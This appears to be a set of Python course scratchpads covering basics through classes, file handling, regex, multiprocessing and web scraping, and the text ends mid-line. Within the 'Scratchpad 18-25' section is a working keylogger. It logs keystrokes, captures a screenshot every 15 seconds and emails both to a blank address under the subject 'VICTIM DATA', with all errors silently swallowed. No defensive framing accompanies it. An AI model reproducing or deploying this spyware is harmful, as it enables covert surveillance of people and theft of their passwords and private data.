Python August 2023
Python August 2023
Scratchpad 1-9
print("Hello World") # player_one_high_score = 10 # playerOneHighScore = 10 # PlayerOneHighScore = 10 # player-one-high-score = 10 player_one_high_score: int = 10 # name = "John Doe" # # print(name.lower().find('doe')) # name.find("Doe").upper() # # print("Enter amount in INR for conversion to USD: ") # inr = float(input("Enter amount in INR for conversion to USD: ")) # usd = inr * 82.231 # print(f"INR {inr} when converted to USD is {usd}") # city = input("Enter your city: ") # if city == "mumbai": # print("That's a great city") # elif city == "delhi": # print("That's a bad city") # elif city == "pune": # print("That's close") # else: # print("I don't know that city") # print("This is after the conditional statement above") # age = int(input("Please enter your age: ")) # if age > 65: # print("Drinks are free") # elif age > 21: # print("You can enter and you can drink") # elif age > 18: # print("You can enter but you cannot drink") # else: # print("You are not allowed") logged_in_user = "john123" if logged_in_user: print("Welcome to the site") else: print("You have to login to view this page") # # age = input("Please enter your age: ") # # if age: # # age = int(age) # # if age >= 18 and age < 21: # # print("You can enter but you cannot drink") # # elif age >= 21 and age < 65: # # print("You can enter and you can drink") # # elif age >= 65: # # print("Drinks are free") # # else: # # print("You are not allowed") # # else: # # print("Please enter a value") # player1 = input("Enter player 1's choice: ") # player2 = input("Enter player 2's choice: ") # if player1 == player2: # print("Draw") # elif ((player1 == "rock" and player2 == "scissor") # or (player1 == "paper" and player2 == "rock") # or (player1 == "scissor" and player2 == "paper")): # print("Player 1 wins") # elif ((player2 == "rock" and player1 == "scissor") # or (player2 == "paper" and player1 == "rock") # or (player2 == "scissor" and player1 == "paper")): # print("Player 2 wins") # else: # print("Please enter a valid value") # # if player1 == "rock": # # if player2 == "paper": # # print("Player 2 wins") # # elif player2 == "scissor": # # print("Player 1 wins") # # elif player1 == "paper": # # if # for char in "hello world": # print(char, "HELLO") # for num in range(0, 10): # print(num) # print("..........") # for num in range(0, 101): # print(num) # for num in range(5): # print(num) # for num in range(0, 100, 5): # print(num) # for num in range(10, 0, -2): # print(num) # for num in range(1, 21): # if num == 5 or num == 16: # print("FizzBuzz") # elif num % 2 == 0: # print(f"{num} - Fizz is even") # elif num % 2 == 1: # print(f"{num} - Fizz is odd") password = input("Please enter your password: ") while password != "helloworld": print("Incorrect password!") password = input("Please enter your password again: ") # password = input("Please enter your password: ") # while password != "helloworld": # print("Incorrect password!") # password = input("Please enter your password again: ") # for num in range(10): # print(num) # count = 0 # while count < 10: # print(count) # count += 1 # password = input("Please enter your password: ") # while password != "helloworld": # if password == 'quit': # break # print("Incorrect password!") # password = input("Please enter your password again: ") # password = input("Please enter your password: ") # while True: # if password == 'helloworld': # break # print("Incorrect password!") # password = input("Please enter your password again: ") # while True: # player1 = input("Enter player 1's choice: ") # player2 = input("Enter player 2's choice: ") # if player1 == player2: # print("Draw") # elif ((player1 == "rock" and player2 == "scissor") # or (player1 == "paper" and player2 == "rock") # or (player1 == "scissor" and player2 == "paper")): # print("Player 1 wins") # elif ((player2 == "rock" and player1 == "scissor") # or (player2 == "paper" and player1 == "rock") # or (player2 == "scissor" and player1 == "paper")): # print("Player 2 wins") # else: # print("Please enter a valid value") # answer = input("Do you want to play again? (y/n) ") # if answer != 'y': # break langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"] for lang in langs: print(lang) # count = 0 # while count < len(langs): # print(langs[count]) # count += 1 # # nums = [1, 2, 3, 4, 5, 6, 7] # # doubles = [num * 2 for num in nums] # [2, 4, 6] # # # doubles = [] # # # for num in nums: # # # doubles.append(num * 2) # # print(doubles) # # names = ["john", "jack", "jane", "jill", "jim"] # # upper_names = [name.upper() for name in names] # # # upper_names = [] # # # for name in names: # # # upper_names.append(name.upper()) # # print(upper_names) # # nums = [1, 2, 3, 4, 5, 6, 7] # # result = [num for num in nums if num % 2 == 0] # # print(result) # # names = ["john", "jack", "jane", "jill", "jim"] # # result = [name for name in names if len(name) <= 3] # # print(result) # # message = "Hello World" # # result = [char for char in message if char in "aeiou"] # # print("".join(result)) # # nums = [1, 2, 3, 4, 5, 6, 7] # # result = [num * 2 if num % 2 == 1 else num / 2 for num in nums] # # print(result) # # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9, 10]] # # # for lst in nested_list: # # # for num in lst: # # # print(num) # # total = 0 # # for lst in nested_list: # # for num in lst: # # total += num # # print(total) # nested_list = [[[1, 2, 3], [1, 2, 3, 34], [1, 2, 3]], # [[1, 2, 3], [1, 2, 3], [1, 2, 3]], # [[1, 2, 3], [1, 2, 3], [1, 2, 3]]] # # total # # evens_total # # new_odd_list product = [ "iPhone 14 pro max", "Apple", "Some description...", 500, 150000, True ] product = { "name": "iPhone 14 pro max", "price": 150000, "brand": "Apple", "description": "Some description...", "in_stock": 500, "discounted": True, 1: "hello" } product = { "name": "iPhone 14 pro max", "price": 150000, "brand": "Apple", "description": "Some description...", "in_stock": 500, "discounted": True, } for key, value in product.items(): print(key, value) # for item in product.items(): # print(item[0], item[1]) # print(product.items()) # for key in product.keys(): # print(key, product[key]) # # for value in product.values(): # # print(value) # for key in product: # print(key, product[key]) # def greet(): # print("Hello World") # print("Hello Galaxy") # greet() # greet() # greet() import random # def flip_coin(): # num = random.random() # if num > 0.5: # print("HEADS") # else: # print("TAILS") # def throw_dice(): # num = random.randint(1, 7) # print(num) # # flip_coin() # throw_dice() # def throw_dice(): # num = random.randint(1, 7) # return num # print(throw_dice()) # def greet(name): # return f"Hello {name}" # print(greet("John")) # print(greet("Jane")) # def add(a, b): # return a + b # print(add(10, 6)) # def sum_odd_nums(numbers): # total = 0 # for num in numbers: # if num % 2 != 0: # total += num # return total # print(sum_odd_nums([1, 2, 3, 4, 5])) # def is_odd_num(number): # if number % 2 == 1: # return True # return False # print(is_odd_num(11)) # def exponent(num=1, power=1): # return num**power # print(exponent()) # def add(a, b): # return a + b # def sub(a, b): # return a - b # def math(a, b, fn=add): # return fn(a, b) # print(math(10, 5)) # def full_name(first, last): # return "Your name is " + first + " " + last + "." # # print(full_name("Doe", "Jane")) # print(full_name(last="Doe", first="Jane")) # full_name = "John Doe" # global scope def greet(): full_name = "Jane Doe" print(full_name) # local scope greet() print(full_name)
Scratchpad 10-14
# total = 0 # def func(): # global total # total += 10 # print(total) # func() # print(total) # def outer(): # count = 0 # def inner(): # nonlocal count # count += 10 # print(count) # inner() # outer() def greet(name, message): """Greet function accepts `name` and `message` which are strings and return a greeting string. @Params name: str message: str @Returns: str: """ return f"{message} {name}" # print(greet("John", "Hello,")) # print(greet.__doc__) print([].pop.__doc__) # def add(a, b, *nums): # print(a) # print(b) # print(nums) # # total = 0 # # for num in nums: # # total += num # # return total # print(add(10, 5, 6, 32, 1, 3, -2, 23, 2231, 122, 3, 2)) # def profile(first, last): # print(first) # print(last) # def profile(**data): # for key in data: # print(key, data[key]) # profile(first="John", last="Doe", age=20, job_title='Dev') # def dummy(a, b, c, *args, role="admin", **kwargs): # print(a, b, c, args, role, kwargs) # dummy(10, # 20, # 30, # 40, # 50, # 60, # 100, # hello="world", # test="message", # role="moderator") # def add(*nums): # ([10, 20, 30, 40, 50]) # total = 0 # for num in nums: # total += num # return total # vals = [10, 20, 30, 40, 50] # # print(add(vals[0], vals[1], vals[2], vals[3], vals[4])) # print(add(*vals)) # def say_name(first, last): # print(f"My name is {first} {last}.") # profile = {"first": "Jane", "last": "Doe"} # # say_name(profile["first_name"], profile["last_name"]) # say_name(**profile) # say_name(first="Jane", last="Doe") # def add(a, b): # return a + b # sub = lambda a, b: a - b # print(sub(10, 2)) # print(add(10, 4)) # hello = add # print(hello(10, 2)) # def math(a, b, fn): # return fn(a, b) # def mul(a, b): # return a * b # print(math(10, 3, lambda a, b: a * b)) # print(math(10, 3, mul)) # nums = [1, 2, 3, 4, 5] # # doubles = [num * 2 for num in nums] # # doubles = map(lambda num: num * 2, nums) # # evens = [num for num in nums if num % 2 == 0] # evens = filter(lambda num: num % 2 == 0, nums) # # print(list(doubles)) # # print(evens) # print(list(evens)) names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob'] filtered_name = filter(lambda name: len(name) < 5, names) result = list(map(lambda name: f"The one who wins is {name}", filtered_name)) print(result) # import random # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", # "Queen", "King") # NCARDS = 8 # def get_card(deck_list_in): # this_card = deck_list_in.pop() # return this_card # def shuffle(deck_list_in): # deck_list_out = deck_list_in.copy() # random.shuffle(deck_list_out) # return deck_list_out # print("Welcome to higher or lower.") # print( # "You have to choose whether the next card to be shown will be higher or lower than the current card." # ) # print( # "Getting it right adds 20 points; get it wrong and you will lose 15 points." # ) # print("You have 50 points to start.") # print() # starting_deck_list = [] # for suit in SUIT_TUPLE: # for this_value, rank in enumerate(RANK_TUPLE): # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1} # starting_deck_list.append(card_dict) # score = 50 # while True: # game_deck_list = shuffle(starting_deck_list) # current_card_dict = get_card(game_deck_list) # current_card_rank = current_card_dict["rank"] # current_card_suit = current_card_dict["suit"] # current_card_value = current_card_dict["value"] # print(f"Starting card is {current_card_rank} of {current_card_suit}") # print() # for card_number in range(0, NCARDS): # answer = input( # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): " # ) # answer = answer.lower() # next_card_dict = get_card(game_deck_list) # next_card_rank = next_card_dict["rank"] # next_card_suit = next_card_dict["suit"] # next_card_value = next_card_dict["value"] # print(f"Next card is {next_card_rank} of {next_card_suit}") # if answer == 'h': # if next_card_value > current_card_value: # print("You got it right, it was higher") # score += 20 # else: # print("Sorry, it was not higher") # score -= 15 # elif answer == "l": # if next_card_value < current_card_value: # print("You got it right, it was lower") # score += 20 # else: # print("Sorry, it was not lower") # score -= 15 # print(f"Your score is: {score}") # print() # current_card_rank = next_card_rank # current_card_suit = next_card_suit # current_card_value = next_card_value # go_again = input("To play again, press ENTER, or 'q' to quit: ") # if go_again == 'q': # break # print("Thank you for playing!") # def colorize(text, color): # colors = ("red", "yellow", "blue", "green", "purple") # if type(text) is not str: # raise TypeError("Text must be a string") # if type(color) is not str: # raise TypeError("Color must be a string") # if color not in colors: # # raise Exception("The provided color is invalid") # raise ValueError("The provided color is invalid") # print(f"Printed {text} in {color}") # try: # colorize(100, "red") # except Exception as err: # print(err) # except (ValueError, TypeError) as err: # print(err, "Something went wrong") # except: # print("Something went wrong") def colorize(text, color): colors = ("red", "yellow", "blue", "green", "purple") if type(text) is not str: raise TypeError("Text must be a string") if type(color) is not str: raise TypeError("Color must be a string") if color not in colors: # raise Exception("The provided color is invalid") raise ValueError("The provided color is invalid") return f"Printed {text} in {color}" try: result = colorize("Hello World", "red") except Exception as err: print(err) else: print(result) finally: print("THis will always run") # import random as r # def random(): # return "RANDOM NUM" # from random import randint as ri, random, choice, shuffle # # from random import * # print(ri(10, 100)) # print(random()) # # import file1 # from file1 import hello_world # # file1.hello_world("John Doe") # hello_world("Jane Doe") # print("This is in scratchpad_13.py. This is the value of __name__ =", __name__) # str -> value # -> methods # Object # # def user(first_name, last_name, email): # return {"first_name": first_name, "last_name": last_name, "email": email} # def greet(user_dict): # print( # f"Hello, my name is {user_dict['first_name']} {user_dict['last_name']}" # ) # john = user("John", "Doe", "[email protected]") # greet(john) # print(john) def user(first_name, last_name, email): def greet(): print(f"Hello, my name is {first_name} {last_name}") return { "first_name": first_name, "last_name": last_name, "email": email, "greet": greet } class User: def __init__(self, first_name, last_name, email): self.first_name = first_name self.last_name = last_name self.email = email def greet(self): print(f"Hello, my name is {self.first_name} {self.last_name}") john = user("John", "Doe", "[email protected]") jane = User("Jane", "Smith", "[email protected]") print(john["first_name"]) print(jane.first_name) print("----------") john["greet"]() jane.greet() print("----------") print(type(john)) print(type(jane)) # "hello".upper() # upper(10) # a = [] # array_push(a, "hello") # a.append("21839789123") # a = [] # a.append(100) class User: default_city = "New York" total = 0 def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self._age = age self.city = "Mumbai" User.total += 1 def get_age(self): return self._age def set_age(self, new_age): if new_age >= 18 and new_age < 100: self._age = new_age else: raise ValueError("Please enter a valid age") john = User("John", "Doe", 20) jane = User("Jane", "Smith", 20) # print(john.default_city) # print(jane.default_city) # print(User.default_city) print(User.total) # john.__age = 500000000000000000000000000000000000000000 # john.set_age(300000000000) # print(john.__age__) # jane.city = "Delhi" # print(jane.city) # print(john.city) # print(john) # print(john.first_name, john.last_name, john.get_age()) # print(type(john))
Scratchpad 15-18
# class Math: # @classmethod # def add(cls, a, b): # return a + b # @classmethod # def sub(cls, a, b): # return a - b # print(Math.add(10, 4)) # print(Math.sub(10, 4)) # class User: # default_city = "New York" # total = 0 # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self._age = age # self.city = "Mumbai" # User.total += 1 # def __repr__(self): # return self.first_name + " " + self.last_name # @classmethod # def get_total_users(cls): # return cls.total # def get_age(self): # return self._age # def set_age(self, new_age): # if new_age >= 18 and new_age < 100: # self._age = new_age # else: # raise ValueError("Please enter a valid age") # john = User("John", "Doe", 20) # print(john) # print(john.get_age()) # print(User.get_age()) # print(User.get_total_users()) # class User: # def __init__(self, first_name, last_name, age, email, password): # self.first_name = first_name # self.last_name = last_name # self._age = age # self.email = email # self._password = password # def __repr__(self): # return self.first_name + " " + self.last_name # def login(self, password): # if self._password == password: # print(f"{self.email} has successfully logged in") # return True # raise ValueError("Incorrect password") # def logout(self): # print(f"{self.email} has successfully logged in") # return True # @property # def age(self): # return self._age # @age.setter # def age(self, new_age): # if new_age >= 18 and new_age < 100: # self._age = new_age # else: # raise ValueError("Please enter a valid age") # # def get_age(self): # # return self._age # # def set_age(self, new_age): # # if new_age >= 18 and new_age < 100: # # self._age = new_age # # else: # # raise ValueError("Please enter a valid age") # class Moderator(User): # def __init__(self, first_name, last_name, age, email, password, phone): # super().__init__(first_name, last_name, age, email, password) # self.phone = phone # def create_group(self, group_name): # print(f"{group_name} group was created") # john = User("John", "Doe", 20, "[email protected]", "123456") # jane = Moderator("Jane", "Smith", 20, "[email protected]", "123456", # "+91 9876654321") # jane.create_group("Python") # print(jane.first_name) # john.set_age(50) # print(john.get_age()) # john.age = 30 # print(john.age) # print(jane.phone) # class Human: # def __init__(self, name): # self.name = name # def greet(self): # print("Hello World") # class Animal: # def __init__(self, name): # self.name = name # def greet(self): # print("AJndslkjansdasdl") # class Mutant(Human, Animal): # def greet(self): # print("TEST") # john = Human("John Doe") # tom = Animal("Tom") # scott = Mutant("Scott Summers") # john.greet() # tom.greet() # scott.greet() # # print(Mutant.__mro__) class User: def __init__(self, first_name, last_name, age, email, password): self.first_name = first_name self.last_name = last_name self._age = age self.email = email self._password = password def __repr__(self): return self.first_name + " " + self.last_name def __len__(self): return self._age def __add__(self, other_user): return User("new", "born", 0, "[email protected]", "123243") def login(self, password): if self._password == password: print(f"{self.email} has successfully logged in") return True raise ValueError("Incorrect password") def logout(self): print(f"{self.email} has successfully logged in") return True @property def age(self): return self._age @age.setter def age(self, new_age): if new_age >= 18 and new_age < 100: self._age = new_age else: raise ValueError("Please enter a valid age") class Moderator(User): def __init__(self, first_name, last_name, age, email, password, phone): super().__init__(first_name, last_name, age, email, password) self.phone = phone def create_group(self, group_name): print(f"{group_name} group was created") john = User("John", "Doe", 20, "[email protected]", "123456") jane = User("Jane", "Smith", 20, "[email protected]", "123456") # jane = Moderator("Jane", "Smith", 20, "[email protected]", "123456", # "+91 9876654321") # print(len("hello")) # print(len([1, 2, 3, 4, 56, 67, 7])) # print(len(john)) print(1 + 2) print("hello" + "world") print(john + jane) # # name = "John Doe" # # for char = next(name) in name = iter(name): # # print(char) # # def myfor(iterable): # # iterator = iter(iterable) # # while True: # # try: # # print(next(iterator)) # # except StopIteration: # # break # # a = [1, 2, 3, 4] # # myfor(a) # # for num in a: # # print(num) # # r = range(10) # # for num in r: # # print(num) # class Counter: # def __init__(self, start, end, step=1): # self.start = start # self.end = end # self.step = step # def __iter__(self): # return self # def __next__(self): # if self.start < self.end: # num = self.start # self.start += self.step # return num # else: # raise StopIteration # c = Counter(0, 10) # for num in c: # print(num) # def counter(start, end, step=1): # while start < end: # yield start # start += step # result = counter(0, 10, 2) # for num in result: # print(num) # # print(next(result)) # # print(next(result)) # def fib_list(max): # nums = [] # a, b = 0, 1 # while len(nums) < max: # nums.append(a) # a, b = b, a + b # return nums # def fib_gen(max): # a, b = 0, 1 # count = 0 # while count < max: # a, b = b, a + b # yield a # count += 1 # # result = fib_list(10000000000000000000) # result = fib_gen( # 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000 # ) # # print(result) # for num in result: # print(num) import time gen_start_time = time.time() # current time print(sum(num for num in range(100000000))) gen_time = time.time() - gen_start_time list_start_time = time.time() # current time print(sum([num for num in range(100000000)])) list_time = time.time() - list_start_time print(f"generator took - {gen_time}") print(f"list comprehension took - {list_time}") # def add(a, b): # return a + b # def sub(a, b): # return a - b # def math(a, b, fn): # return fn(a, b) # print(math(10, 5, sub)) # def sum(n, func): # total = 0 # for num in range(1, n + 1): # total += func(num) # return total # def square(num): # return num**2 # print(sum(10, square)) import random # def greet(person): # def get_mood(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return msg # result = f"{get_mood()} {person}" # return result # print(greet("John")) # def make_greet_func(person): # def make_message(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return f"{msg} {person}" # return make_message # greet_jane = make_greet_func("jane") # greet_john = make_greet_func("john") # print(greet_jane()) # print(greet_john()) from functools import wraps def stars(fn): """Decorator that prints stars around""" @wraps(fn) def wrapper(*args, **kwargs): """Wrapper function""" print("*" * 10) fn(*args, **kwargs) print("*" * 10) return wrapper @stars def greet(message, person): """Function that accepts a message and a name and greets it""" print(f"{message} {person}") # greet = stars(greet) # greet("hi", "Jack") print(greet.__doc__) print(greet.__name__) # from pprint import pprint # from datetime import datetime # class Company: # def __init__(self, name, address, phone_nos, email, # company_registration_code): # self.name = name # self.address = address # self.phone_nos = phone_nos # self.email = email # self.company_registration_code = company_registration_code # self.employees = [] # def __repr__(self): # return self.name # def create_employee(self, first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email): # if not all([ # first_name, middle_name, last_name, address, aadhar_card_no, # pan_card_no, phone, email # ]): # raise ValueError("All fields are required to create an employee") # new_employee = Employee(first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email) # self.employees.append(new_employee) # return new_employee # class Employee: # def __init__(self, first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email): # self.first_name = first_name # self.middle_name = middle_name # self.last_name = last_name # self.address = address # self.aadhar_card_no = aadhar_card_no # self.pan_card_no = pan_card_no # self.phone = phone # self.email = email # self.attendance = [] # def __repr__(self): # return self.first_name + " " + self.middle_name + " " + self.last_name # def get_full_name(self): # return f"{self.first_name} {self.middle_name} {self.last_name}" # def get_details(self): # return { # "first_name": self.first_name, # "middle_name": self.middle_name, # "last_name": self.last_name, # "address": self.address, # "aadhar_card_no": self.aadhar_card_no, # "pan_card_no": self.pan_card_no, # "phone": self.phone, # "email": self.email # } # def edit_details(self, # first_name=None, # middle_name=None, # last_name=None, # address=None, # phone=None, # email=None, # aadhar_card_no=None, # pan_card_no=None): # if first_name: # self.first_name = first_name # if middle_name: # self.middle_name = middle_name # if last_name: # self.last_name = last_name # if address: # self.address = address # if phone: # self.phone = phone # if email: # self.email = email # if aadhar_card_no: # self.aadhar_card_no = aadhar_card_no # if pan_card_no: # self.pan_card_no = pan_card_no # def punch_in(self): # self.attendance.append({"date": datetime.now(), 'punch': 'in'}) # def punch_out(self): # self.attendance.append({"date": datetime.now(), 'punch': 'out'}) # acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002", # ["+91 9876654321", "+91 022 24567890"], "[email protected]", # "ASD78978AVG") # john = acme.create_employee( # "John", "Jack", "Doe", # "New Haven, 201 Hello World Street, Sion, Mumbai 400001", # "89679879897987987987", "YHUI78682", "+91 8765543213", "[email protected]") # # print(acme.employees) # # print(john) # pprint(john.get_details()) # print() # john.edit_details(middle_name="Jane") # pprint(john.get_details()) # file = open("hello.txt") # print(file.read()) # # file.close() # print(file.closed) # with open("hello.txt") as file: # print(file.read()) # print(file.closed) with open("hello.txt", "w") as file: file.write("hello universe\n" * 10) # with open("hello.txt", "r+") as file: # file.seek(0) # file.write("------") # with open("hello.txt", "r") as file: # data = file.read() # data = data.replace("universe", "solar system") # with open("hello.txt", "w") as file: # file.write(data)
Scratchpad 18-25
# from pprint import pprint # from datetime import datetime # class Company: # def __init__(self, name, address, phone_nos, email, # company_registration_code): # self.name = name # self.address = address # self.phone_nos = phone_nos # self.email = email # self.company_registration_code = company_registration_code # self.employees = [] # def __repr__(self): # return self.name # def create_employee(self, first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email): # if not all([ # first_name, middle_name, last_name, address, aadhar_card_no, # pan_card_no, phone, email # ]): # raise ValueError("All fields are required to create an employee") # new_employee = Employee(first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email) # self.employees.append(new_employee) # return new_employee # class Employee: # def __init__(self, first_name, middle_name, last_name, address, # aadhar_card_no, pan_card_no, phone, email): # self.first_name = first_name # self.middle_name = middle_name # self.last_name = last_name # self.address = address # self.aadhar_card_no = aadhar_card_no # self.pan_card_no = pan_card_no # self.phone = phone # self.email = email # self.attendance = [] # def __repr__(self): # return self.first_name + " " + self.middle_name + " " + self.last_name # def get_full_name(self): # return f"{self.first_name} {self.middle_name} {self.last_name}" # def get_details(self): # return { # "first_name": self.first_name, # "middle_name": self.middle_name, # "last_name": self.last_name, # "address": self.address, # "aadhar_card_no": self.aadhar_card_no, # "pan_card_no": self.pan_card_no, # "phone": self.phone, # "email": self.email # } # def edit_details(self, # first_name=None, # middle_name=None, # last_name=None, # address=None, # phone=None, # email=None, # aadhar_card_no=None, # pan_card_no=None): # if first_name: # self.first_name = first_name # if middle_name: # self.middle_name = middle_name # if last_name: # self.last_name = last_name # if address: # self.address = address # if phone: # self.phone = phone # if email: # self.email = email # if aadhar_card_no: # self.aadhar_card_no = aadhar_card_no # if pan_card_no: # self.pan_card_no = pan_card_no # def punch_in(self): # self.attendance.append({"date": datetime.now(), 'punch': 'in'}) # def punch_out(self): # self.attendance.append({"date": datetime.now(), 'punch': 'out'}) # acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002", # ["+91 9876654321", "+91 022 24567890"], "[email protected]", # "ASD78978AVG") # john = acme.create_employee( # "John", "Jack", "Doe", # "New Haven, 201 Hello World Street, Sion, Mumbai 400001", # "89679879897987987987", "YHUI78682", "+91 8765543213", "[email protected]") # # print(acme.employees) # # print(john) # pprint(john.get_details()) # print() # john.edit_details(middle_name="Jane") # pprint(john.get_details()) # file = open("hello.txt") # print(file.read()) # # file.close() # print(file.closed) # with open("hello.txt") as file: # print(file.read()) # print(file.closed) with open("hello.txt", "w") as file: file.write("hello universe\n" * 10) # with open("hello.txt", "r+") as file: # file.seek(0) # file.write("------") # with open("hello.txt", "r") as file: # data = file.read() # data = data.replace("universe", "solar system") # with open("hello.txt", "w") as file: # file.write(data) # with open("test.csv") as file: # contents = file.read() # contents = contents.split('\n')[:-1] # contents = [val.split(',') for val in contents] # print(contents) # from pprint import pprint # from csv import reader, DictReader # with open("test3.csv") as file: # # csv_reader = reader(file) # # csv_reader = DictReader(file, delimiter="|") # csv_reader = DictReader(file) # pprint(list(csv_reader)) # from csv import writer # with open("test2.csv", "w", newline="") as file: # csv_writer = writer(file) # csv_writer.writerow(['First Name', 'Last Name', 'Email', 'Phone']) # csv_writer.writerow(['John', 'Doe', '[email protected]', '+91 9823342567']) # csv_writer.writerow(['Jane', 'Smith', '[email protected]', '+91 9823342567']) # from csv import DictWriter # with open("test2.csv", "w", newline="") as file: # headers = ['First Name', 'Last Name', 'age'] # csv_writer = DictWriter(file, fieldnames=headers) # csv_writer.writeheader() # csv_writer.writerow({ # 'First Name': 'John', # 'Last Name': 'Smith', # 'age': 20 # }) import pickle import json class User: def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self.age = age def __repr__(self): return self.first_name + " " + self.last_name def greet(self): return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old" # user1 = User("John", "Doe", 20) # user2 = User("Jane", "Smith", 24) # print(user2.__dict__) # print(user1.__dict__) # with open("users.pickle", "wb") as file: # pickle.dump((user1, user2), file) # with open("users.pickle", "rb") as file: # restored_data = pickle.load(file) # print(restored_data[0].greet()) # print(json.dumps(user1.__dict__)) # # with open("users.json", "w") as file: import jsonpickle # with open("users.json", "w") as file: # data = jsonpickle.encode([user1, user2]) # file.write(data) with open("users.json") as file: data = file.read() users = jsonpickle.decode(data) print(users) import re # pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}") # res = pattern.search("Call us today on 022 23456754 or 022 2345 2342") # if res: # print(res.group()) # else: # print("No match found") # res = pattern.findall("Call us today on 022 23456754 or 022 2345 2342") # print(res) # def extract_phone(phone_no): # pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}") # match = pattern.search(phone_no) # if match: # return match.group() # return None # print(extract_phone("Call us today on 022 23456754 or 022 2345 2342")) # def is_valid_landline(tel): # pattern = re.compile(r"^\d{3}\s\d{4}\s?\d{4}$") # match = pattern.search(tel) # if match: # return True # return False # print(is_valid_landline("022 23456754")) def is_valid_landline(tel): pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}") match = pattern.fullmatch(tel) if match: return True return False print(is_valid_landline("022 23456754")) # class Customer: # @classmethod # def validate_pan_card(pan_card_no): # # LOGIC from datetime import datetime import threading import multiprocessing def dummy_func(x): print(f"Job-{x} started: {datetime.now()}") a = [] for i in range(40000): for j in range(2000): a.append([i,j]) a.clear() print(f"Job-{x} ended: {datetime.now()}") # start_time = datetime.now() # dummy_func(1) # dummy_func(2) # dummy_func(3) # dummy_func(4) # print(f"Total time taken: {datetime.now() - start_time}") if __name__ == "__main__": # t1 = threading.Thread(target=dummy_func, args=(1,)) # t2 = threading.Thread(target=dummy_func, args=(2,)) # t3 = threading.Thread(target=dummy_func, args=(3,)) # t4 = threading.Thread(target=dummy_func, args=(4,)) # start_time = datetime.now() # t1.start() # t2.start() # t3.start() # t4.start() # t1.join() # t2.join() # t3.join() # t4.join() # print(f"Total time taken: {datetime.now() - start_time}") p1 = multiprocessing.Process(target=dummy_func, args=(1,)) p2 = multiprocessing.Process(target=dummy_func, args=(2,)) p3 = multiprocessing.Process(target=dummy_func, args=(3,)) p4 = multiprocessing.Process(target=dummy_func, args=(4,)) start_time = datetime.now() p1.start() p2.start() p3.start() p4.start() p1.join() p2.join() p3.join() p4.join() print(f"Total time taken: {datetime.now() - start_time}") # query = 99 # a = [1,2,3,4,5,6,7] from pynput.keyboard import Key, Listener import pyautogui import yagmail from time import sleep from datetime import datetime count = 0 keys = [] try: def on_press(key): global count, keys keys.append(key) count += 1 if count >= 10: write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: f.write(' ') elif k.find("caps_lock") > 0: f.write("<CAPS_LOCK>") elif k.find("enter") > 0: f.write("\n") elif k.find("Key") == -1: f.write(k) def on_release(key): if key == Key.esc: return False def take_screenshot(): screen = pyautogui.screenshot() screen.save("screenshot.png") def send_email(): receiver_email = "" subject = f"VICTIM DATA - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}" yag = yagmail.SMTP("", "") contents = ["<b><font color='red'>YOUR VICTIM DATA</font></b>"] attachments = ['log.txt', 'screenshot.png'] yag.send(receiver_email, subject, contents, attachments) print("Email sent") with Listener(on_press=on_press, on_release=on_release) as listener: while True: sleep(15) take_screenshot() send_email() listener.join() except: pass # # data = """ # # <html> # # <head> # # <title>My Web Page</title> # # </head> # # <body> # # <header> # # <img src="./assets/hello.png" alt="Some image" /> # # <h1>My hello world</h1> # # <h1 id="title">My Web Application</h1> # # </header> # # <a href="https://google.com">Go to Google.com</a> # # <p class="para"> # # Lorem ipsum dolor sit amet, consectetur adipisicing elit. Illum # # reprehenderit incidunt, ratione quas minus ex fugit corrupti deserunt # # totam veniam soluta, quasi at maxime expedita culpa libero repellat # # explicabo debitis. # # </p> # # <p class="para"> # # Lorem ipsum dolor sit amet consectetur adipisicing elit. At, perspiciatis. # # </p> # # <ul> # # <li> # # Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat, # # molestiae? # # </li> # # <li> # # Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat, # # molestiae? # # </li> # # <li> # # Lorem ipsum dolor sit amet consectetur, adipisicing elit. Quaerat, # # molestiae? # # </li> # # </ul> # # </body> # # </html> # # """ # # from bs4 import BeautifulSoup # # soup = BeautifulSoup(data, "html.parser") # # # print(type(soup)) # # # print(soup.body.header.h1) # # # print(soup.find('li')) # # # print(soup.find_all('li')) # # # print(soup.find('h1')) # # # print(soup.find(id="title")) # # # print(soup.find_all(class_="para")) # # # print(soup.find(class_="para").get_text()) # # # print(soup.find('h1').get_text()) # # # print(soup.find('a').get_text()) # # print(soup.find('a')["href"]) # import requests # from bs4 import BeautifulSoup # from csv import writer # response = requests.get('https://arstechnica.com/') # soup = BeautifulSoup(response.text, "html.parser") # articles = soup.find_all(class_="article") # with open("articles.csv", "w", newline="") as file: # csv_writer = writer(file) # csv_writer.writerow(['Title', 'Excerpt', 'Author', 'Date', 'Link']) # for article in articles: # title = article.find('h2').get_text() # excerpt = article.find(class_="excerpt").get_text() # author = article.find('span').get_text() # date = article.find('time').get_text() # link = article.find('a')['href'] # csv_writer.writerow([title, excerpt, 